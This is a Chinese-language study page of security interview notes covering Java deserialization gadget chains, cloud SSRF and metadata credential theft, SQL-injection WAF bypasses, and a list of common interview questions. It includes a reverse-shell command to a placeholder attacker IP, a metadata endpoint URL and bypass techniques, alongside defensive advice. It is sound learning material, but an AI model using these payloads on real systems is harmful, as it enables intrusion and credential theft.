Daily Study
更新: 1/14/2026 字数: 0 字 时长: 0 分钟
Daily Plan
#todo
- [ ]
基于大模型的渗透测试
CAI:当前效果最好的开源AI辅助渗透测试工具 | CN-SEC 中文网
用 AI 自动化渗透测试,PentAGI 打造全新AI安全测试 助力快速发现漏洞与安全隐患 | CN-SEC 中文网
安全技术面试
关建问题
举一个典型的反序列化漏洞
反序列化漏洞的原因:
- 在反序列化过程中,如果应用没有对传入的数据进行严格校验,且目标语言在还原对象时会自动触发某些“魔术方法”(Magic Methods)(如PHP的
__wakeup,__destruct;Java的readObject;Python的__reduce__),攻击者就可以构造恶意的序列化数据 - 当这些数据被反序列化时,会强制程序执行攻击者指定的代码路径(通常称为POP链 - Property Oriented Programming),最终导致远程代码执行(RCE)
Java反序列化漏洞,Apache Commons Collections利用链(CC链)
- 场景背景:假设某企业的后台管理系统使用 Java 开发,并且为了方便在组件间传输对象,开放了一个接口,直接接收序列化的二进制数据(例如通过 HTTP POST Body 传输)
- 漏洞代码(服务端):服务端代码非常简单,只是单纯地把数据读进来还原成对象:
// 伪代码示例
public void receiveData(InputStream in) {
try {
// 1. 创建 ObjectInputStream
ObjectInputStream ois = new ObjectInputStream(in);
// 2. 核心漏洞点:直接调用 readObject(),没有任何校验
// 此时,攻击者发送的恶意字节流被解析,代码开始在服务器内存中执行
Object obj = ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}攻击原理与过程(Gadget Chain):攻击者利用服务端已有的合法类库(这里是 Apache Commons Collections,一个非常通用的工具包)来拼凑出一个攻击路径。这个过程被称为 POP链(Property Oriented Programming) 或 Gadget Chain
攻击步骤拆解:
- 寻找跳板:攻击者寻找一个重写了
readObject方法的类。例如 Java 标准库中的AnnotationInvocationHandler(在旧版本JDK中)。当readObject被调用时,它会自动触发某些 Map 的操作。 - 拼接链条(Gadget): 攻击者构造一个特殊的 Map,这个 Map 被配置了自动转换功能(使用
TransformedMap)这个 Map 绑定了一个转换器链(ChainedTransformer) - 核心Payload(Sink):攻击者在转换器链中预设了基于 Java反射机制 的代码:
- 第一步:获取
Runtime类。 - 第二步:调用
getRuntime()方法。 - 第三步:调用
exec("bash -i >& /dev/tcp/攻击IP/端口 0>&1")
- 第一步:获取
- 触发操作:
- 攻击者将上述复杂的嵌套对象序列化成二进制流,发送给服务端。
- 服务端执行
ois.readObject()。 readObject内部触发了 Map 的操作 -> 触发TransformedMap的变换逻辑 -> 触发ChainedTransformer-> 利用反射执行系统命令。- 结果:服务端在毫不知情的情况下,反弹了一个 Shell 给攻击者,导致 RCE(远程代码执行)。
防御方案:
- 根本解决:不使用原生序列化,使用JSON或Protobuf进行替代。原因:JSON 只是纯数据格式,解析时不会自动触发方法的执行(除非犯了之前提到的 Go/Fastjson 类型的逻辑错误),天然隔离了代码与数据。
- 过滤与黑白名单:如果在遗留系统中必须使用,必须在
readObject之前进行类的校验,例如加上白名单,只允许反序列化系统中明确定义的几个安全类(User,Order) - RASP:原理在 JVM 层面 Hook 关键函数(如
ProcessBuilder.start,Runtime.exec)。具体检测:当发现某个反序列化栈帧(Stack Trace)中紧接着出现了命令执行操作时,直接在底层阻断并告警。这能防御未知的 0-day 利用链。
总结:
- 定性: 这是一个利用合法代码执行非法逻辑的漏洞。
- 举例: 引用 Java CC 链,关键词是 readObject -> 反射 -> Runtime.exec。
- 防御: 优先推崇 JSON替代,其次是 白名单,最后提到 RASP。
云环境下的SSRF漏洞有哪些特殊的利用
在传统环境下,SSRF(服务端请求伪造)通常被用来探测内网端口、攻击Redis/FastCGI等服务。但在云环境下,SSRF 的利用核心从探测网络变成了窃取身份。主要分为三个维度
攻击云主机元数据服务
这是云环境SSRF最经典、危害最大的利用方式。云厂商(AWS, 阿里云, 腾讯云, GCP)为了方便主机获取自身信息(IP、配置、角色),提供了一个内网HTTP服务,通常通过保留IP 169.254.169.254 访问。
- 攻击目标: 获取该云主机绑定的CAM角色(腾讯云)或IAM角色(AWS)的临时凭证(AK/SK/Token)。
- 利用流程:
- 通过SSRF访问Metadata URL。
- 读取返回的JSON数据,提取
AccessKeyId, SecretAccessKey, Token。 - 使用这些凭证配置本地CLI工具,直接接管该云账号下的资源(如S3存储桶、EC2实例、数据库等),实现云上横向移动。
- 通用的Payload示例:
http://169.254.169.254/latest/meta-data/
K8s环境下的利用
- 攻击 Kubelet API:
- 每个K8s节点上运行的
kubelet服务通常监听在10250或10255端口。 - 如果网络策略(NetworkPolicy)未隔离,攻击者可以通过SSRF访问
https://<node_ip>:10250/pods,获取当前节点所有Pod的信息。 - 如果是未授权访问(旧版本或配置错误),甚至可以执行
run命令在容器内执行代码。
- 每个K8s节点上运行的
- 攻击K8s API Server/云服务器内部接口:利用SSRF扫描K8s的Service网段(ClusterIP),攻击集群内的核心组件(如ETCD、CoreDNS)或内部未鉴权的Web Dashboard
针对元数据防护的Bypass
云厂商也意识到了元数据的风险,推出了加固方案(如 AWS IMDSv2)。面试官可能会问:“如果目标开启了防护,还能利用吗?”
- 绕过AWS:AWS IMDSv2 强制要求通过
PUT请求获取 Token,并将其放入 Header 中才能访问数据。标准的SSRF(通常是GET请求)无法利用。但如果SSRF漏洞点允许CRLF注入(HTTP头注入),或者是一个支持自定义Method和Headers的Web Hook功能,攻击者就可以构造PUT请求并带上Header,依然能窃取凭证。 - DNS 重定向:如果防火墙或WAF拦截了
169.254.169.254,攻击者可以设置一个域名(如attacker.com)的TTL为0。第一次解析是合法IP(绕过检查),第二次解析(实际请求时)迅速变更为169.254.169.254。 - IPV6绕过:很多过滤器只防了IPv4。部分云环境支持IPv6访问元数据服务(如
http://[fd00:ec2::254]/latest/meta-data/)
总结
在云环境下,SSRF 的核心利用思路从探测内网转变为云身份窃取
- 首要目标是元数据服务(IMDS): 最典型的就是请求
169.254.169.254。如果应用没有过滤,攻击者可以直接读取security-credentials接口,拿到绑定在云主机实例上的 临时AK/SK和Token。一旦拿到这个凭证,攻击者就能接管该角色权限下的云资源(如S3、RDS),造成严重的数据泄露或服务破坏。这也正是我在腾讯实习期间负责的AKSK安全项目中重点关注的一类泄露源。 - 其次是容器集群攻击: 如果业务跑在K8s里,SSRF可以被用来攻击同一集群内的其他Pod,或者探测
Kubelet端口(10250)来获取集群拓扑信息,甚至利用未授权接口执行命令。 - 关于防御: 仅仅靠正则过滤IP是很难防御彻底的(存在DNS Rebinding等绕过)。在云上最好的防御是开启元数据加固模式(如腾讯云的加固模式或AWS IMDSv2),强制要求请求头包含Token,这样普通的SSRF(通常只能发起简单GET请求)就失效了。
SQL注入的绕过方法
WAF(无论是云WAF还是硬件WAF)的核心痛点在于:WAF对请求的解析方式与后端数据库/Web服务器的解析方式不一致。按照协议层到数据层来回答
- 协议层绕过:利用HTTP协议解析差异
- 分块传输编码绕过:原理: HTTP/1.1 支持
Transfer-Encoding: chunked。攻击者将恶意的 SQL 注入语句切分成多个小的 Chunk 发送。WAF盲区: 很多性能敏感的WAF为了保证低延迟,可能只检测第一个Chunk,或者不支持将碎片化的Chunk重组后再检测。而后端Web服务器(如Tomcat, Nginx)会完整重组数据包,从而执行恶意语句。 - HTTP参数污染:原理: 当 URL 中出现同名参数时(例如
?id=1&id=2),不同的后端技术栈处理逻辑不同。(PHP/Apache:取最后一个;Java/Tomcat:取第一个或数组)Bypass: 如果 WAF 只检查第一个参数,而后端取最后一个参数,攻击者可以在第一个参数放正常值,第二个放Payload。
- 分块传输编码绕过:原理: HTTP/1.1 支持
- 数据库特性层绕过:WAF 通常使用正则匹配关键字(如
UNION,SELECT)。我们可以利用数据库特有的语法特性来破坏正则的连续性。- MySQL内联注释:MySQL 特有的语法
/*! ... */会被当作代码执行,而 WAF 可能认为这是注释而忽略。 - 空白字符替换:WAF 往往认为 SQL 关键字之间必须有空格。但数据库支持多种空白符。利用括号:
SELECT(user)FROM(admin)。利用特殊空白符:%09(Tab),%0a(换行),%0b(垂直制表符),%0c(换页),%a0(不换行空格)
- MySQL内联注释:MySQL 特有的语法
- 编码层绕过:
- 如果数据库或中间件支持非 UTF-8/ASCII 的字符集,可以将 Payload 编码为其他字符集。WAF 按照 UTF-8 解码看不到关键字,但后端转码后执行。
- 双重 URL 编码:WAF 如果只解码一次,而后端架构中有两层代理(例如 CDN -> Nginx -> Tomcat),每层解一次,
%2527(即%的编码加27)最终会变成'。
- 长度截断与资源耗尽(DOS WAF):超长缓冲区溢出,有些 WAF 为了性能,只检测请求体的前 8KB 或 16KB。攻击者可以在 Payload 前填充 20000 个无意义的字符(如
A),把真正的 SQL 注入语句推到 WAF 检测窗口之外。
总结:
- 先点题: 核心是利用 WAF 和数据库对数据解析的不一致。
- 分层讲:
- 架构层: 重点讲 Chunked 传输和 HPP。
- 语法层: 重点讲 MySQL 内联注释和空白符替换。
- 资源层: 讲超长包截断。
- 亮观点: 提到利用 LLM 自动生成 Bypass Payload 的新趋势
一些常规问题
简述Web常见攻击技术?
简述SQL注入概念和原理 ?
简述XSS的概念和原理 ?
简述XSS防范方法?
简述XSS与CSRF有什么区别 ?
简述为什么HTTPS更安全?
简述什么是 CSRF 攻击,如何避免?
简述什么是DNS劫持以及相关原理 ?
DNS劫持的步骤是什么样的?
DNS劫持的步骤是什么样的?
简述如何怎么应对DNS劫持?
简述什么是 DoS、DDoS、DRDoS 攻击?
简述如何防范DDoS( 基础防护措施 )?
对称加密与非对称加密有什么区别?
RSA和AES算法有什么区别?
简述什么是对称加密技术?
简述什么是非对称加密技术 ?
简述ARP的概念和原理 ?
简述什么是ARP欺骗 ?
简述怎么样防止 ARP 欺骗 ?
简述什么是 DNS 以及工作原理 ?
简述什么是DNS欺骗以及工作原理 ?
如何有效的防止DNS欺骗 ?
简述常用的渗透工具有哪些 ?
简述什么是CRLF 注入攻击 ?
简述RIP协议是什么? RIP 的工作原理
简述什么是OSPF协议? OSPF的工作原理
请列举Web常用的加密算法 ?
简述什么是缓冲区溢出原理 ?
简述缓冲区溢出攻击的防范方式 ?
如何保障登录页面安全的思路分析 ?
简述请求头中哪些是有危害的?
简述什么是OAuth协议 ?
简述OAuth的原理和授权流程 ?
解释Oauth认证过程中可能会出现什么问题,导致什么样的漏洞?
叙述如何实现跨域?
简述什么是SSRF漏洞攻击 ?
简述JWT原理及常见攻击方式 ?
请简述常见中间件漏洞总结?
简述IDS/IPS防护原理及绕过思路 ?
简述TLS的加密过程 ?
如何提升非对称加密的运行效率 ?
简述什么点击劫持攻击
简述点击劫持攻击的有效防御措施 ?
